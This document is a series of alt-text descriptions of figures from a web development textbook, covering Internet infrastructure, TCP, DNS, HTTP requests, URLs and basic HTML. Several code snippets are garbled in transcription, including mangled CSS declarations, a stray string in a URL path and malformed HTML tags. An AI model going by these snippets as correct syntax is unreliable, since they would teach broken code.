Optional chapters: 17, 18, and 23.

Client-focused pathway

Recommended chapters: 1 to 7

Optional chapters: 17, 18, and 23.

Server-focused pathway

Recommended chapters: 11 to 17

Optional chapters: 18, 19, and 22.

Advanced pathway

Recommended chapters: 10, 13, 17, 18, 19, 20, 21, 22, 23, and 24

Infrastructure focused pathway

Recommended chapters: 1, 2, 3, 4, 8, 11, 14, 18, and 22.

Optional chapters: 06, 15, 19, and 23



The image shows learning process as follows:

1. You will begin with basic HTML.

2. Then learn CSS to make your HTML more attractive.

3. Then use JavaScript to create interactive user experiences.



The image shows learning process as follows:

4. Learn PHP to dynamically generate pages based on information
contained within databases.

5. Make use of more advanced knowledge about state, design, security,
and search.

6. Unite JavaScript with PHP to integrate external web services, content
management systems, and social networks.



The pages show:

Hundreds of color-coded illustrations clarifying key concepts.

Security, Pro Tip, and Note boxes emphasizing important concepts and
practical advice.

Key terms highlighted in consistent color.

Separate hands-on exercises (available online) giving readers
opportunity to practically apply concepts and techniques covered in the
text.

Key terms appearing again at end of chapter.

Review questions at end of chapter providing opportunity for self-
testing.



The pages show:

An Illustration helping in explaining especially complicated processes.

Important algorithms illustrated visually to help clarify understanding.

Color-coded source code listings emphasizing important elements and
visually separate comments from the code.



The pages show:

Tools Insight sections that introduce many of the most essential tools
used in web development.

Tangential material that has been moved into Dive Deeper sections,
thereby keeping the main text more focused.

Extended Example sections that provide detailed guidance in the
application of a chapter's content or in the creation of more complicated
effects.



The pages show:

Each chapter ends with three case study exercises that allow the reader
to practice the material covered in the chapter within a realistic context.

Exercises contain step-by- step instructions of varying difficulty.

Exercises increase in complexity and can be assigned separately by the
instructor.

Attractive and realistic case studies help engage the readers' interest.

All images, pages, classes, databases, and other material for each of the
case studies are available for download.



The model shows web-development as a three-storey building. Each floor
depicts several aspects of web development with an illustration.

Ground floor shows Servers, Configuration, Networks, and Protocols which
are the basic building blocks.

Middle floor shows different languages which are a part of web development,
like CSS, HTML, PHP, Javascript, databases, APIs, and Tools.

Top level shows advanced concepts like Design, Search, Integration,
Frameworks, and Security.



The diagram shows a large circle labeled as “Internet”. Four smaller circles
of different sizes are drawn inside the bigger circle. The smaller circles are
labeled as: Email, Web, Online gaming, and FTP.



The diagram shows a caller and a receiver sitting at their respective tables
with a telephone placed on each table. The two telephones are connected by a
circuit which also passes through four transmission towers. The caller says,
“Thou map of woe, that thus dost talk in signs!” This sentence is repeated
twice between two consecutive towers before being delivered to the receiver's
telephone.



Original message is displayed as “Thou map of woe, that thus dost talk in
signs!” The illustration shows an user sitting in front of a terminal and
sending it from a sender address, to reach destination address, both of which
are shown as miniature home.

The original message is divided into three numbered packets, shown as:

AB1: Thou map of woe,

AB2: that thus dost

AB3: talk in signs.

These three packets are routed to a node where AB1 separates and moves to
another node. AB2 and AB3 are routed together to a second node from where
they both separate and get forwarded to two different nodes. Moving on, the
three messages reunite at one node where they are reassembled from packets.
The message is forwarded to the destination address. The message is again
displayed on the receiver's monitor as “Thou map of woe, that thus dost talk
in signs!”



Y axis shows number of Internet Hosts, ranging from 0 to 1,200,000,000, in
increment of 200,000,000. X axis shows years from 1995 to 2015, with an
increment of 5. The approximate number of Internet hosts in different years
are:

1995: 20,000,000

2000: 80,000,000

2005: 350,000,000

2010: 750,000,000

2015: 1,050,000,000



The illustration shows a multi-storeyed building representing a private
enterprise. A row of three large servers are labeled as “Financial and other
enterprise systems.” Two more smaller servers, labeled “Groupware and file
servers” are displayed next to them. These two sets of servers are connected
to two Web servers. Three users sitting in front of their terminals are
connected to these two Web servers via an “Intranet website”. This entire
setup is labeled as “Private corporate computing system.”

The second part of illustration shows three brick structures surrounding Web
servers. These structures are labeled as “Firewall”. A user is shown sitting
with his laptop outside one of the Firewalls, with an arrow from his terminal
passing under the firewall and reaching the Office Web server. Text next to
this image reads, “Customers and corporate partners might be able to access
internal system.”

Another user sitting with a terminal outside the second firewall is able to
access the webserver through firewall. Text next to this image reads, “Off-
site workers might be able to access internal system.”

Three users with terminals are shown sitting outside the third firewall. An
arrow pointing from one of the users towards the firewall is blocked, and it is
labeled as, “Public can't access internal computing systems”. Other two users
are able to access a Web server from outside, which in turn is connected to
Web server of the company, across the firewall. Text next to these two users
reads, “Public can access public web system”.



The illustration shows user at a desktop monitor saying, “I want to see
vacation.html”. An arrow points from the user to a server machine which has
its hard drive open. Server has second step defined as, “Server retrieves files
from its hard drive”. Two files labeled “vacation.html” and “picture.jpg” are
shown next to the hard drive. This leads to third step, depicting two files
being transferred from server to the user's machine. This step is labeled as,
“Server 'sends' HTML and then later the image to browser”. This leads to
final and fourth step, which shows a webpage consisting a picture and text.
Picture and text depicted on webpage is same as depicted on “vacation.html”,
and “picture.jpg” files. This step is labeled as “Browser displays files”.



The illustration shows six steps of the interaction as follows:

1. User at a terminal says, “I want to see vacation.php"”

2. Server recognizes that it must run a dynamic script that is on its hard
drive (an arrow points from the user terminal to the Server, with an open
hard drive).

3. Server executes or interprets the script. (an arrow points from the server
to a page titled “vacation.php"”

4. Scripts “outputs” HTML (an arrow points from vacation.php to a html
script.

5. Server “sends” generated HTML and the image file to user. (an arrow
points from html file to user terminal).

6. Browser displays files (An assembled webpage is displayed on the user's
terminal).



The illustration shows six steps of interaction between an user and a dynamic
website depicted as:

1. User at a terminal says, “I want to see vacation.php"”

2. Server recognizes that it must run a dynamic script that is on its hard
drive (an arrow points from the user terminal to the Server, with an open
hard drive).

3. Server executes or interprets the script. (an arrow points from the server
to a page titled “vacation.php”).

4. Scripts “outputs” HTML (an arrow points from vacation.php to an html
script).

5. Server “sends” generated HTML and the image file to user. (an arrow
points from html file to user terminal).

6. Browser executes the Javascript. (An arrow points back to the user's
terminal).

7. Javascript may make additional requests (back and forth arrows between
the user terminal and the server).

8. Browser displays HTML as modified by the Javascript (An assembled
webpage is displayed on the user's terminal).



The diagram shows a laptop labeled as “client”. An arrow, labeled as
“Request”, is pointing from the laptop to a server machine, depicted with a
blue globe next to it. This server machine is labeled as “server”. Another
arrow from the server machine to the laptop is labeled as “Response”.



The diagram shows a laptop and four desktops arranged in a circular fashion.
Bi-directional arrows criss-cross between each of the two machines in this
diagram. The arrows are labeled as “Request and respond”.



The diagram shows six server machines placed in two rows. A circuit is
drawn connecting the six machines. The beginning of the circuit is labeled as
“Client requests”.

Each machine is accompanied by another smaller diagram which represents
functionality of the server. Types of servers depicted are as follows:

Data server along with three hard disks stacked on top of each other.

Application server along with a software package.

Authentication server along with lock.

Mail server along with an envelope.

Web server along with a blue globe.

Media server along with an audio cassette.



The diagram shows an arrow labeled “Client requests” pointing to a box
labeled as “Load balancer”. This box connects to a circuit placed in the
middle of a row of three Web servers.

The three web servers are connected to a second load balancer, which in turn
is further connected to a row of two database servers.



The Server rack shows a vertical stand with Batteries and UPS at the bottom.
Different types of servers are stacked above the battery section in following
order (moving from bottom to top):

Production data server

Production web server

Patch panel

Raid HD arrays

Production data server

Production web server

Patch panel

Keyboard tray and flip-up monitor

Test server

Rack management server

Fiber channel switches

Wires are connected from ports of Production data server below to all the
way to the top of the rack. Another set of wires are connected from ports of
Test server to the top of the rack.



The diagram shows a building with a hoarding which reads, “Data Centers R
Us”.

The outside of the building shows parking spaces, out of which three are
reserved for handicaps. Inside the building, a wall separates it into two
longitudinal sections with doors connecting the two sections. Left section has
two rows of air-conditioners in the front two rows. There are four rows of
server racks behind it. Right section has UPS batteries in the front and
backup generators at the back.



The illustration shows three homes. The “typical home internet installation”
in one of the homes shows a laptop and a mobile phone connected to a
wireless router, which in turn connects to a broadband modem through an
ethernet cable.

The three homes are connected to a fiber junction box, which links a “Cable
modem termination system (CMTS)” through fiber optic cables. The input
terminal of CMTS is the “ISP head-end”. The output of CMTS connects to a
device labeled as “Master head-end”, which also receives output from “other
head-ends”. The master head-end connects to the rest of the internet.



The illustration shows a sender at the beginning of the routing network. His
address, destination address, and message are “142.109.149.46;
209.202.161.240; 1 Thou map of woe” respectively.

The packet is routed to first router whose ip is 140.239.191.1. The router
displays a routing table with several ips under “Addresses” and “next hop”
columns. The table highlights one Address ip as 209.202.161.240, and one
next hop ip as 65.47.242.9. The packet is sent to the next router whose ip is
65.47.242.9.

This router too shows a table with several ips under “Addresses” and “next
hop” columns. Here too, the next hop ip is highlighted as 66.37.223.130. The
packet is sent to this particular router whose ip is 66.37.223.130.

The next router with ip 66.37.223.130 which receives this packet shows a
similar router table, highlighting the next hop. The packet is delivered to the
destination address, whose ip is 209.202.161.240.



The illustration shows four countries labeled as A, B, C, and D with the
respective networks as follows:

Country A: Network A1, Network A2, Network A3.

Country B: Network B1.

Country C: Network C1, Network C2.

Country D: Network D1, Network D2.

The three networks in Country A are interconnected. Network A2 connects to
Network B1 in Country B, and to Network C1 in Country C.

In country B, network B1 connects to Network C1 and Network C2 in
country C, and also to Network D2 in country D.

In country C, the two networks are not interconnected, but they are
independently connected to networks from other countries.

Similarly in country D, the two networks are not interconnected, but they are
independently connected to networks from other countries. Network D2 and
Network C2 are connected between country D and country C.



The illustration shows four countries labeled as A, B, C, and D with the
respective networks and IXPs as follows:

Country A: Network A1, Network A2, Network A3, IXP A1, IXP A2

Country B: Network B1

Country C: Network C1, Network C2, IXP C1

Country D: Network D1, Network D2, IXP D1

The three networks in country A are interconnected. None of the other
networks connect to each other. Each network connects directly to one of the
IXPs. The connections of each of the IXPs is as follows:

IXP A1:

–Network A1

–Network A2

–Network C1

–Network B1

–IXP C1

IXP A2:

–Network A2

–Network A3

–Network C1

IXP C1:

–Network C1



–Network C2

–Network A2

–Network B1

–Network D1

–IXP A1

–IXP D1

IXP D1:

–Network B1

–Network C2

–Network D1

–Network D2

–IXP C1



The diagram shows a multi-storey building labeled as “IXP”. A hypothetical
IXP configuration next to it shows five data centers which are individually
connected to a sixth data center. The five data centers are labeled as Verizon,
Bell Canada, Microsoft, BT Group, and eBay. The sixth data center is labeled
“Telecom New Zealand”.

Two lines connect from Telecom New Zealand. One line is labeled, “To
client's own network”. The other line is labeled, “To rest of Internet”.



The diagram shows a “Data center” building that holds rows of Web and data
servers for major websites. A multi-storey building labeled IXP is situated
close by. The two buildings are connected by a “High-speed fiber optic
connection”.

Two cable lines are drawn from the IXP building. One line goes “to
continental internet connections”. The other line connects to a “Landing
station”, which further connects with under-ocean internet cables.



The diagram shows a world map focussing Atlantic ocean. Lines are drawn
criss-crossing the ocean, connecting major port cities of Canada, US. Mexico,
Central America and Brazil on one side, and major European and African
port cities on the other side.

A line is drawn through Mediterranean sea, Black sea and Red sea,
connecting the port cities on either sides. Circuits are drawn across the
English channel and also in the seas surrounding the Nordic countries. One
line is drawn along the East coast of Africa, linking cities on the coast.



The illustration shows a model with different floors of a web development
company. Each floor illustrates a set of roles available as a part of a team.
The roles are as follows:

Top floor: Project manager, Business Analyst, and Content Strategist

Parallel top floor: Quality Assurance, SEO specialist

One floor below: Non-technical roles

Another floor below: Software engineer, Front-end developer,
Programmer, Web developer

Next floor below: Information architect, UI designer, UX designer

Ground floor: Database administrator, Security specialist

Basement: System administrator, Hardware architect.

In addition, the role of an independent “full stack developer” is available
between the floors.



The illustration shows a model that has various floors, with each floor hosting
a particular type of web development company. Different types of companies
shown are as follows:

Vertically integrated companies: shows two teams of professionals
working together. It depicts different teams working on three different
floors of the company.

Website solutions companies: shows professionals working
independently. Everyone is working on a single floor, with partitions in
seating arrangements.

Design companies: shows three design engineers working
independently. Such companies are depicted as much smaller companies
as compared to the above two types. Everyone is working on the same
floor.

Hosting companies: shows a technician managing stacks of servers.
Single-floor company, with most of the floor space taken by stacks of
servers.

Internal Web Deployment: shows a single web professional. Single-floor
company, with large space taken by different instruments.

Start-up companies: shows a couple working from their home.



The portfolio shows a photo on the top left, with name “Randy Connolly”
beneath it. The location, website and joining date are mentioned below the
name.

Five tabs are displayed as Overview, Repositories-4, Stars-0, Followers-7,
Following-0. The overview page is highlighted, and four repositories are
displayed.

A graph is displayed below the repositories, and is captioned as “43
contributions in the last year”.



The top layer is “Application layer” which has higher protocols like HTTP,
FTP, POP, etc, that allow applications to interact with the transport layer.

The second layer “Transport layer”. It ensures that transmissions arrive in
order and without error. Two examples displayed are TCP and UDP.

The third layer is “Internet layer” which establishes connection, routing, and
addressing. The examples depcited are IPv4 and IPv6.

The last layer is “Link layer”. It is responsible for physical transmission of
raw bits. The example displayed is “MAC”.



The devices and their ip addresses are as follows:

Laptop: 22.15.216.13

Printer: 142.181.80.3

Server:192.168.123.254 (a command prompt displays the same IP with
the “ipconfig” command)

Router: 10.239.28.131 (a dhcp display displays the same IP)

Mobile phone: 10.239.28.131

Sound amplifier: 142.108.149.36 (a network connection providing
details regarding the same IP address displayed in a window.)



The illustration above shows IPv4 as having 2 raised to 32 addresses. One
example displayed is 192.168.123.254. Arrows are drawn from text to each
of the 4 components of ip address in this example. A text above these arrows
reads “4 to 8 components (32 bits)”.

The figure below shows IPv6 as having 2 raised to 128 addresses. One
example displayed is “3fae:7a10:4545:9:291:e8ff:fe21:37ca”. Arrows are
drawn from text to each of the 8 components of IP address in this example.
Text above these arrows reads, “8 to 16 components (128 bits)”.



The illustration shows a user at a terminal as a sender, and another user at
another terminal as a receiver. The sender has a message that reads, “Thou
map of woe, that thus dost talk in signs!” Text next to the message reads,
“Message broken into packets, with a sequence number.” The sequence
number and message parts are shown as follows:

1. Thou map of woe,

2. that thus dost

3. talk in signs!

The second step reads, “2) For each TCP packet sent, an ACK
(acknowledgement) must be received back”. Three arrows point from the
sender to the receiver, each of them labeled with three sequence numbers and
the corresponding message parts. Only two arrows are sent back from the
receiver to the sender, with labels ACK1 and ACK3. The sender sends packet
2 again, and the receiver now sends back ACK2.

Text displays the third step as “3) Eventually, sender will resend any packets
that didn't get an ACK back”.

The receiver's computer displays the reassembled message as, “Thou map of
woe, that thus dost talk in signs!” Text here reads, “4) Message reassembled
from packets and ordered according to their sequence numbers.



The screenshot shows a small window open over a large window. The small
window displays fields to enter Host, Protocol, Encryption, username and
password. Text beside this window reads, “1) First, you must specify the
connection information for the remote machine”.

The large window displays FTP status on top. Text pointing to this section
reads, “2) FTP programs will usually display feedback on the status of
requests”. The large window shows two sections, with each section showing
a list of files. List on the left is labeled as “Files on local machine” while list
on the right is labeled as “Files on remote machine”. Arrows are drawn from
one section to another. Text on the window reads, “3) Filezilla lets you
transfer files simply by dragging and dropping files between local and remote
machines”.



The diagram shows a user at a computer terminal, sending a request which
says, “I need to go to www.funwebdev.com”. An arrow points from his
terminal to a “domain name server.” Text next to this arrow reads, “1) What's
the IP address of www.funwebdev.com?”. A second arrow points from the
DNS server back to the user's terminal. Text next to this arrow reads, “Here it
is. It's: 66.147.244.79”.

Another arrow points from the user's terminal to another server called “web
server”, whose IP is displayed as 66.147.244.79. Text next to this arrow
reads, “I want the default page at 66.147.244.79. A response arrow points
from webserver to the user's terminal, with text, “Here, it is.”



The domain name displayed is “server1.www.funwebdev.com”. Each part is
underlined and labeled according to the domain level as follows:

server1: Fourth-level domain

www: Third-level domain

funwebdev: Second-level domain (SLD)

com: Top-level domain (TLD)

The bottom part of the illustration shows a heirarchy of the domain levels,
ranging from most general on top to most specific at the bottom. At the top of
the heirarchy is “top level domain (TLD)”, referring to “com”. It is branched
into three parts, out of which one branch is pointing to the next level. Level
below is “Second level domain (SLD)” referring to “funwebdev”. Two
branches emerge from this level, and one of them point toward the next level.
Level below this level is “Third-level domain” referring to “www”. At the
bottom is “Fourth level domain”, which refers to “server1”.



The process involves six steps shown as follows:

1. “Decide on a top-level domain (.com) and a second level domain
(funwebdev).” The illustration shows a user at a server who says, “I
want the domain funwebdev.com”

2. “Choose a domain registrar or a reseller (a company such as a web host
that works with a registrar.” The illustration shows three formally
dressed figures carrying suitcases labeled as “Domain.”

3. “Registrars will check if domain is available by asking Registry for
TLD.” The illustration points to a security guard standing next to a box
full of domain slabs, labeled “TLD (.com) registry.”

4. “Complete the registration procedures which includes WHOIS contact
information (includes DNS information) and payment.” The illustration
shows the user talking to a domain registrar. An arrow points to a paper
labeled “WHOIS info” which points to the security guard standing next
to “TLD (.com) registry.”

5. “Registry will push DNS information for domain to TLD name server.”
The illustration shows a formally dressed figure at a desk labeled “TLD
name servers”, with a domain and registration form.

6. “Enjoy the new domain...You now have purchased the rights to use it.”
The illustration shows the user holding a suitcase labeled as “Domain”.



The fourteen steps involved in the domain name address resolution are as
follows:

1. “I want to visit www.funwebdev.com.” (A webpage is displayed on a
monitor).

2. “If IP for this site is not in browser's cache, it delegates task to operating
system's DNS Resolver.” (An arrow points from monitor to DNS
resolver).

3. “If not in its DNS cache, resolver makes request for IP address to ISP's
DNS Server” (An arrow points from DNS resolver to Primary DNS
server).

4. “Checks its DNS cache” (Arrow points from Primary DNS server to its
cache).

5. “If the primary DNS server doesn't have the requested domain in its
DNS cache, it sends out the request to the root name server.” (Arrow
points from Primary DNS server to Root name server).

6. “Root name server returns IP of name server for requested TLD (in this
case the com name server).” (An arrow points from root name server
back to Primary DNS server).

7. “Request IP of name server for funwebdev.com.” (An arrow points from
Primary DNS server to com name servers).

8. “.com name server will return IP address of DNS server for
funwebdev.com” (An arrow points back from com name servers).

9. “Request for IP address for www.funwebdev.com.” (An arrow points
from Primary DNS server to DNS server).

10. “Return IP address of web server” (An arrow points back from DNS
server).



11. “Return IP address of www.funwebdev.com.” (An arrow points from
Primary DNS server to DNS resolver).

12. “Return IP address of www.funwebdev.com.” (An arrow points from
DNS resolver to monitor).

13. “Browser requests page.” (An arrow from monitor to Web server).

14. “Returns requested page” (An arrow points back from Web server to
monitor).



The url displayed is, “http://www.funwebdev.com/index.php?
page=17#article”.

It's different parts are labeled as follows:

'http”: Protocol

“www.funwbdev.com”: Domain

P7001013820000000000000000000A08index.php”: Path

“page=17”: Query String

“article”: Fragment

http://www.funwebdev.com/index.php?page=17#article


The query string that encodes has the username and password as:

“?username=john&password=abcdefg”

It is divided into different parts which are labeled as follows:

“question symbol, ampersand”: Delimiters

“username”, “password”: Keys

“john”, “abcdef”: Values



The client is represented by a human figure sitting before a desktop monitor.
A server with blue globe represents the web server. An arrow is drawn from
the client to server. A page called “Request” is displayed next to this arrow.
Contents of the request page are expanded to reveal the following
information:

“GET /index.html HTTP/1.1

Host: example.com

User?Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;

rv:15.0) Gecko/20100101 Firefox/15.0.1

Accept: text/html,application/xhtml+xml

Accept? Language: en?us,en;q=0.5

Accept?Encoding: gzip, deflate

Connection: keep?alive

Cache?Control: max?age=0”

Another arrow is drawn from the server to the client. A page called
“Response” is displayed next to this arrow. The contents are expanded and
shown as follows:

“HTTP/1.1 200 OK

Date: Mon, 23 Oct 2017 02:43:49 GMT

Server: Apache

Vary: Accept?Encoding

Content?Encoding: gzip



Content?Length: 4538

Connection: close

Content?Type: text/html; charset=UTF?8

<html>

<head> ...”



The string is as follows:

The components of this string are labeled as follows:

“Mozilla/6.0”: Browser

“Windows NT 6.2”: OS

“WOW64; rv:16.0.1”: Additional details (32/64 bit, build versions)

“Gecko/20121011”: Gecko browser build date

“Firefox/16.0.1”: Firefox version



The top illustration shows a POST request. It shows a browser window with a
url “<form method=“POST” action="FormProcess.php”>”. The window has
a submit button and the following field entries: Artist: Picasso. Year: 1906.
Nationality: Spain.</form>

A horizontal arrow points from the submit button of the window to a web
server. The “POST” request is displayed as “POST /FormProcess.php
http/1.1”.

Bottom part of illustration shows a “GET” request. It shows a browser
window with a url, “<a href=“SomePage.php”>Hyperlink</a>”. The window
shows “Hyperlink”. A horizontal arrow points from the hyperlink to a web
server. The “GET” request is displayed as “GET /SomePage.php http/1.1”.



The illustration shows the following steps as arrows pointing between a
browser and a web server.

1. An arrow labeled as “Get vacation.html”, points from browser to web
server.

2. An arrow labeled as “vacation.html” points from web server to browser.

3. “For each resource referenced in the HTML, the browser makes
additional requests.” Here, a person is depicted as working on his laptop,
and an arrow is pointing from “browser” to a website open on laptop.

4. An arrow labeled as “GET /styles.css” points from browser to web
server.

5. An arrow labeled as “styles.css” points from Web Server to browser.

6. An arrow labeled as “GET /picture.jpg” points from browser to web
server.

7. An arrow labeled as “picture.jpg” points from web server to browser.

8. “When all resources have arrived, the browser can lay out and display
the page to the user.” An arrow points to a completely assembled web
page.



Some of the files and their loadtime are as follows:

“thumbs_chapter1-29.png: 142 ms

chapter3-95.png: 129 ms

slide-javascript-50 by 50.jpg: 138 ms

dog-adoption-50 by 50.jpg: 139 ms

Dollarphotoclub_92872465-web-50 by 50.jpg: 134 ms

exam-takers-50 by 50.jpg: 121 ms

adoptions2015-50 by 50 jpg: 152 ms

like.php: 114 ms

analytics.js: 24 ms”



The illustration shows a user at a terminal sending a request to the Web
Server as “GET /vacation.html”. The web server sends back “vacation.html”
to the user terminal. The third step shows a U shaped arrow pointing between
the user terminal and a stack of hard drives labeled as “cache”. Text reads,
“3) For each requested resource, determine if cached copy is fresh.” The
fourth step shows a cached copy moving from the cache to the user terminal.
The text reads, “4) If it is fresh (i.e., recent and stored in the cache), then use
the cached copy”. The fifth step shows a new request, “GET /chart.jpg”, sent
to the web server. Text reads, “5) If not fresh, then make request for
resource”. In the sixth step, the “chart.jpg” is sent from the server to the user.
The seventh step shows this file saved in the cache, with text reading as, “7)
Save resource in browser cache”.



The photo shows a page on which various stick it notes with annotations are
pasted. A note highlights the “main heading” at the top of page. Two notes
highlight “secondary headings” at the beginning of two paragraphs. The
middle section of the page has some bulletted points, and a stick it note
labeled “bulleted” pasted next to it. Another note labeled “code” with three
arrows pointing to the bottom paragraph is pasted at the bottom of the page.
A note suggesting “Margin note? grey background?” is stuck on the left
margin. Another note labeled “Seriously??” points to the right margin.

The photo also shows another page with a handwritten paragraph. A stick it
note on the page reads, “this is NOT up to grade three standards”. A few
more corrections are marked on the written paragraph, mentioning “wrong”,
“seriously??” and “No”. The handwritten paragraph reads as “Once upen a
time, a big bad was was up a hill when he saw a blu car. It was a fast car”.
Here, “upen” is struck off and above it, “wrong” is written. In the word
“ropat”, “at” is rounded and remarked as “No!”. “was” is pointed as
“seriously?” An “e” is added to the word “blu”.



The screenshot displays the main page for W3C markup validation service,
showing three tabs labeled as “Validate by URL”, “Validate by File upload”,
and “Validate by Direct input”. The “validate by URL” tab is selected, and an
input field is displayed to add the URL for HTML validation. Text below it
explains functionality of the page.

A second window displayed on partly overlapping the above page shows
results of the HTML validation done for a website. The window is titled “Nu
Html Checker”. The page contains the results of validation done. Text
pointing to these results reads, “Validator provides feedback on markup's
validity according to W3C specification”.



The first element is displayed as follows:

“<a href=“http://www.centralpark.com”>Central Park</a>”.

The different parts are identified as follows:

“<a”: Element name

“<a href=“http://www.centralpark.com”: Opening tag

“href="http://www.centralpark.com”: Attribute

“Central Park”: Content (maybe text or other HTML elements)

“</a>” :Closing tag

The second example depicts an empty element as follows:

“<img src="file.gif” alt=“something” />”

The different parts labeled are:

“<img”: Element name

“/>”: Trailing slash (optional)



The illustration shows html code as follows:

“<body>

<p>

This is some <strong>text</strong>

</p>

<h1>Title goes here</h1>

<div>

<p>

This is <span>important</span>

</p>

</div>

</body>”

The heirarchy is marked in the document, highlighting its various parts.
Three upward pointing arrows indicate elements at the top are marked as
“Ancestors” for the elements at the bottom, which are marked as
“Descendents”. The first level at the top shows “<body>”. Second level
shows “<p>, <h1>, and <div>”. These three elements are marked as
“children” to the top level, and as “siblings” to each other. The third level
from the top shows “<strong>” and “<p>”. The last level shows <span>.



The html code displays correct code as,

“<h1>Share Your <strong>Travels</strong><h1>.”

The “h1” tags at the beginning and end of the line are highlighted. The
“strong” tags that surround “Travels” are also highlighted, and labeled as
“correct nesting”.

The illustration displays incorrect code as,

“<h1>Share Your <strong>Travels</h1></strong>”

The “h1” tags and the “strong” tags are highlighted to show incorrect nesting
in this example.



The document in the upper left corner is titled as “Filing requirements”. The
header of the first paragraph reads, “Do you have to file?” The second para
displays a bulletted list, and also shows a “Tip”. A subsequent section is titled
as “When and where to file?”.

The document on the right hand side shows two pages. The first page is titled
as “part four Implementations”. It summarises two chapters by listing out
page numbers of the main sections, summary, key concepts, common errors,
internet links and exercises. The second page shows a sample from chapter
16, where a section titled “double ended queueus” is displayed. A few
paragraphs are displayed below the title. The page ends with a paragraph
titled summary, another paragraph depicting key concepts, and a last
paragraph titled common errors, shows errors usually committed.



The code is displayed as:

“<!DOCTYPE html”

<title>A Very Small Document</title>

<p>This is a simple document with not much content</p>”

The webpage below the code is titled as “A Very Small Document”. It shows
a line that reads, “This is a simple document with not much content”.



The first line of the document is “<!DOCTYPE html>”. It is marked as “1”.

is “<html lang=“en”>”. And the last line of the document is </html>. From
second line to last line, it is marked as “2”.

Code between the “<head>” tag is displayed as follows:

“<head>

<meta charset=“utf-8” />

<title>Share Your Travels -- New York - Central Park</title>

<link rel=“stylesheet” href=“css/main.css” />

<script src=“js/html5shiv.js”></script>

</head>”

This part of the document is marked as “3”. The lines consisting “meta
charset=“utf-8” />”, “link rel=“stylesheet” href=“css/main.css” />” and
“script src=“js/html5shiv.js”></script>” are marked as “5”, “6” and “7”
respectively.

Code between “<body>” tags is displayed as follows:

“<body>

<h1>Main heading goes here</h1>

…

</body>”

This code is marked as “4”.



The HTML5 document is displayed, and ten elements are identified and
numbered as follows:

“<h1>Share Your Travels</h1> <h2>New York - Central Park</h2>” (These
header elements are numbered as “1”.)

“<p>Photo by Randy Connolly</p> (A paragraph that starts with this line is
numbered as “2”. It refers to the paragraph element.)

<p> This photo of Conservatory Pond in <a
href=“http://www.centralpark.com/”>Central Park<a>”

“<a href=“http://www.centralpark.com/”>Central Park</a>” (This element
refers to a link and is numbered as “3”. )

“New York City was taken on October 22, 2016 with a”

“<strong>Canon EOS 30D</strong> camera </p>” (This element refers to
making a part of the sentence bold. It is numbered as “4”. )

“<img src=“images/central-park.jpg” alt=“Central Park” />” (This image
element is numbered “5”. )

“<div> <p> y By Ricardo on” (A paragraph that starts with the “div” element
is numbered as “6”. )

“<time>2016-05-23</time></p> <p> Easy on HDR buddy” (The time
element is numbered as “7”.)

“<hr>” (The “hr” element is numbered as “8”.)

“<div>

<p> by Susan on <time> 2016-11-18 </ p>

<p> I love Central Park. <p>

</div>”



“<p><small>Copyright © 2017 Share Your Travels<small><p>” (A line
starting with this element is numbered as “9”. It is used to display a line in a
small font size.)

“</body>”

“©” (This element is numbered as “10”. )



The webpage is titled as “Share your travels”. The header reads, “New York -
Central Park”. A landscape photo of a lake surrounded by trees is displayed.
The title of photo reads, “Photo by Randy Connolly”, and the caption reads,
“This photo of Conservatory Pond in Central Park New York City was taken
on October 22, 2016 with a Cannon EOS 30D camera.”

Below it, a review by Ricardo reads, “Easy on the HDR buddy.” Another
review by Susan reads, “I love Central Park.” Bottom of the page displays the
copyright information.



The document outline is displayed as a hand-written document and again in a
small window opened in the main page. It depicts:

I. My Term paper Outline

1. Introduction

2. Background

1. 2.1. Previous research

2. 2.2. Unresolved issues

3. My solution

1. 3.1. Methodology

2. 3.2. Results

3. 3.3. Discussion

4. Conclusion

This outline is expressed in HTML code as follows:

<DOCTYPE html>

<html>

<head lang=“eng”>

<meta charset = “utf-8”>

<title> Term paper outline </title>

</head>

<body>



<h1> Term paper outline </h1>

<h2>Introduction </h2>

<h2>Background </h2>

<h3>Previous research </h3>

<h3>Unresolved issues </h3>

<h2> My solution </h2>

<h3> Methodology </h3>

<h3>Results </h3>

<h3> Discussion </h3>

<h2> Conclusion </h2>

</body>

</html>



The illustration shows four different CSS stylings of a heading which reads,
“Share your travels”.

First window on the left shows heading displayed in black font and bold
letters. This is the Default Browser styling. Below the heading, “Share your
travels”, text reads “Default Browser Styling (Google Chrome in ….)”.

Second window shows the same heading displayed in an orange color and
italics, using the sans-seriff font. Below the heading, “Share your travels”,
text reads “hi styled using the following CSS hi (margin: 0 0 0 50px” color:
halvetica, sans - serif; font style”.

In the third window, the heading is displayed in orange, with a green border
and a gray background. Below the heading, “Share your travels”, text reads
“hi styled using the following CSS hi (margin: 0 0 0 0 ; color; #cc6633 font :
200k arial, helvetica, sans-serif, background color : #FOEDC7; border: 2px
solid green: padding : 5pc; 10px}”.

Fourth window shows the heading displayed in “Nosifer” cursive font, which
looks like blood dripping from the letters. The background shows black and
white stripes. Below the heading, “Share your travels”, text reads hi styled
using the following CSS hi (margin : 0 0 0 0 ; padding; 20px; text-align:
center: color: #A61C07; font-family: “Nosifer', cursive; font-size “60 pt :
line-height: 54 pt: background : url (images/header-background. jpg) repeat-
x; height: 120 px”.



The first element is displayed as follows:

<a href=“http://www.centralpark.com”>Central Park</a>

The two parts are identified as:

http://www.centralpark.com: Destination

Central Park: Label (text).

Another html element is displayed as follows:

<a href=“index.html”><img src=“logo.gif” alt=“logo” /></a>

Here…

img src=“logo.gif” alt=“logo” is identified as Label (image).



The illustration shows several HTML elements, highlighting and labelling
parts of it, as follows:

<a href=“http://www.centralpark.com”>Central Park</a> (here…
www.centralpark.com is labeled as “Link to external site”)

<a href=“http://www.centralpark.com/logo.gif”>Central Park</a> (here…
http://www.centralpark.com/logo.gif is labeled as “Link to resource on
external site”)

<a href=“index.html”>Home</a> (here, index.html is labeled as “Link to
another page on same site as this page”)

<a href=“#top”>Go to Top of Document</a> (here, hash top is labeled as
“Link to another place on the same page”)

<a name=“top”> (here, top is defined as the anchor for a link to another place
on the same page)

<a href=“productX.html#reviews”>Reviews for product X</a> (here,
productX.html#reviews is labeled as “Link to specific place on another
page”)

<a href=“mailto:person@somewhere.com”>Someone</a> (here, mailto:
person@somewhere.com is labeled as “Link to email”)

<a href=“javascript:OpenAnnoyingPopup();”>See This</a> (here, javascript:
OpenAnnoyingPopup(): is labeled as “Link to Javascript function”).

<a href=“tel:+18009220579”>Call toll free (800) 922-0579</a> (here, tel:
+18009220579 is labeled as “Link to telephone (automatically dials the
number when the user clicks on it using a smartphone browser)”)



